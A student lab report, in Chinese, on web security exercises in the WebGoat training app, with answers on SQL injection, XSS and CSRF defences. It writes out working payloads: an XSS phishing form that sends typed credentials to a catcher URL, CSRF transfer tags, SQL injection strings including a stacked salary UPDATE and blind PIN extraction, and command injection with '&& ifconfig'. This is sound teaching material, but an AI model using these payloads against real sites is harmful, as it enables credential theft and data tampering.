20155304 《网络对抗》Exp9 web安全基础实践
20155304 《网络对抗》Exp9 web安全基础实践
实验后回答问题
(1)SQL注入攻击原理,如何防御
攻击原理:web应用程序对用户输入数据的合法性没有判断,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
防御:利用输入规则限制进行防御,不允许特殊字符输入。不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。
(2)XSS攻击的原理,如何防御
攻击原理:XSS又称CSS,全称Cross SiteScript,跨站脚本攻击,是Web程序中常见的漏洞,XSS属于被动式且用于客户端的攻击方式,所以容易被忽略其危害性。其原理是攻击者向有XSS漏洞的网站中输入(传入)恶意的HTML代码,当其它用户浏览该网站时,这段HTML代码会自动执行,从而达到攻击的目的。如,盗取用户Cookie、破坏页面结构、重定向到其它网站等。
防御:类似于saol注入的防御,永远不相信用户的输入。需要对用户的输入进行处理,只允许输入合法的值,其它值一概过滤掉。如果不能对用户数据进行严格的过滤,那我们也需要对标签进行转换。
(3)CSRF攻击原理,如何防御
攻击原理:(Cross Site Request Forgery, 跨站域请求伪造)是一种网络的攻击方式,它在 2007 年曾被列为互联网 20 大安全隐患之一,也被称为“One Click Attack”或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用也就是人们所知道的钓鱼网站。它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。
防御:通过 referer、token 或者 验证码 来检测用户提交。
尽量不要在页面的链接中暴露用户隐私信息。
对于用户修改删除等操作最好都使用post 操作 。
避免全站通用的cookie,严格设置cookie的域。
实验内容
WebGoat
在终端中输入java -jar webgoat-container-7.0.1-war-exec.jar开启WebGoat。
当页面成功停在下图位置时,最小化终端窗口:
打开浏览器,在地址栏输入localhost:8080/WebGoat打开WebGoat,选择默认账号、密码即可登陆成功。
XSS攻击
1、Phishing with XSS 跨站脚本钓鱼攻击
跨站脚本攻击最大的魅力是通过HTML注入劫持用户的浏览器,任意构造用户当前浏览的HTML内容,甚至可以模拟用户当前的操作。这里实验的是一种获取用户名和密码的攻击
先编写一个包含用户名、密码的前端代码:
<head>
<body>
<div>
<div style="float:left;height:100px;width:50%;background-color:green;"></div>
<div style="float:left;height:100px;width:50%;background-color:red;"></div>
</div>
<div style="background-color:blue;height:200px;clear:both;"></div>
</div></div>
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
</body>
</head>
然后在webgoat找到xss攻击打开Phishing with XSS,
将这段代码输入到输入框中,点击search出现如下登录框:
在登录框中输入用户名、密码:
点击登录后跳出弹框,其中包含用户输入的用户名、密码。攻击成功!
Stored XSS Attacks 存储型XSS攻击
打开Stored XSS Attacks
在Message框中输入
点击提交后弹出对话框,攻击成功!
Reflected XSS Attacks 反射型XSS攻击
打开xss的第三个攻击,在code框中输入<script>alert("20155304");</script>
点击Purchase出现对话框,攻击成功!
CSRF攻击
1、Cross Site Request Forgery(CSRF)
查看页面右边Parameters中的src和menu值。
在title框中输入学号,message框中输入代码:<img src='attack?Screen=src值&menu=menu值&transferFunds=转账数额' width='1' height='1'>
提交后生成一个链接20155304:点击学号名即可查看用户操作的信息,攻击成功
2、CSRF Prompt By-Pass
查看页面右边Parameters中的src和menu值,并在title框中输入学号,message框中输入代码:<iframe src="attack?Screen=src值&menu=menu值&transferFunds=转账数额"> </iframe> <iframe src="attack?Screen=src值&menu=menu值&transferFunds=CONFIRM"> </iframe>
点击标题链接,攻击成功
SQL注入攻击
1、Numeric SQL Injection
我们看到这一题的选择框也是一个下拉框,在当前网页上无法修改,于是,我们使用BurpSuite抓包修改
打开BurpSuite:在BurpSuite中依次选择Proxy->Options->Add添加一个端口,将绑定的端口设为5304,点击确认后会在Options下增加一行,勾选新形成的这一行:
点击浏览器右上方的更多选项卡,选择preference
在页面左侧选择advanced,选择network页标签,在connection那一行选择settings…
在弹出的窗口中设置代理服务器和端口(要与BurpSuite中绑定的一致)
设置好代理后回到题目页面,点击Go,然后进入BurpSuite中依次选择Proxy->Intercept,可以看到已经抓到了包:
右键选择send to repeater
进入repeater页标签,选择Params将其中station的值改为101 or 1=1,点击Go运行,查看右侧代码可以看到包中的SQL语句为
SELECT * FROM weather_data WHERE station = 101 or 1=1
回到Proxy中点击Intercept is on对剩下的包不作处理,回到火狐发现已经成功。
2、Command Injection
我们看到这一题的选择框是一个下拉框,在当前网页上无法修改,于是,我们使用BurpSuite抓包修改
在题目页面点击view,然后进入BurpSuite中,在repeater页标签的Params选项中先运行一次,查看数据都提交的位置:
然后修改HelpFile的值为,其中的双引号是为了封闭原语句中的双引号,&&在命令行中是执行另外一条语句的意思,点击GO发现执行了ifconfig语句
回到题目发现显示破解成功。
3、Log Spoofing
在User Name文本框中输入%0d%0aLogin succeeded !admin达到欺骗登录效果,破解成功:
4、LAB:SQL Injection(Stage 1:String SQL Injection)
使用一个新的工具firebug,可以显示当前网页的源码并直接在其中修改。
使用用户Neville进行登录,在密码栏中输入' or 1=1 --进行SQL注入,本以为会成功,但是登录失败,查看源码发现输入框对输入的字符长度进行了限制,最多允许输入8个字符。
在查看源码的时候怎么找到限制字符长度的语句在哪里呢?在查看源码的窗口的顶部左边有一个鼠标一样的标志,点击它,再点击题目页面的password输入框的位置,源码部分就会自动跳转到关于密码的部分
5、LAB:SQL Injection(Stage 3:Numeric SQL Injection)
用上一题的方法成功登录
查看网页源码,选择查看viewprofile部分的代码,这时候可以看到一行用员工id作为索引来传送数据的代码,双击这行代码就可以出现value的值,因为我们想要用Larry的账户浏览老板信息,而大多数企业公司里老板的工资应该是最高的,所以我们就把其中的value值由101改为101 or 1=1 order by salary desc --,这样老板的信息就会被排到第一个让我们看到
电话地址电邮工资卡等等信息一览无余。
6、String SQL Injection
在输入框中输入Smith进行尝试,观察下方形成的输入语句,可以看到输入的Smith在两个单引号之间:
构造永真式'or 1='1,第一个分号用来闭合原输入语句的前一个分号,而第二个分号用来闭合原输入语句的后一个分号,使这条语句被强行拆分成为两条语句。
这样一来,攻击就成功了,可以显示所有用户的信息了。
7、Database Backdoors
先输入示例101进行尝试,得到了该用户的信息。
观察发现输入的语句不进行验证,于是我们输入语句:101; update employee set salary=666666成功将该用户的工资变成666666,攻击成功:
8、Blind Numeric SQL Injection
尝试题目中给出的例子,在输入框输入101,运行后发现返回Account number is valid,说明这个数是合法的!
构造输入语句101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 数值 );
,根据返回的语句是否合法判断pin值的范围。
这里使用二分法,输入2364后破解成功:
实验总结与体会
本次实验也是最后一个实验,也是较为繁琐的一个实验。做了这么多的网络攻防实验,真的收获很多,在实验中我们能了解到实际效果的危险、漏洞、后门、病毒,网络安全真的需要我们重视起来,同时也增强了我的安全防范意识。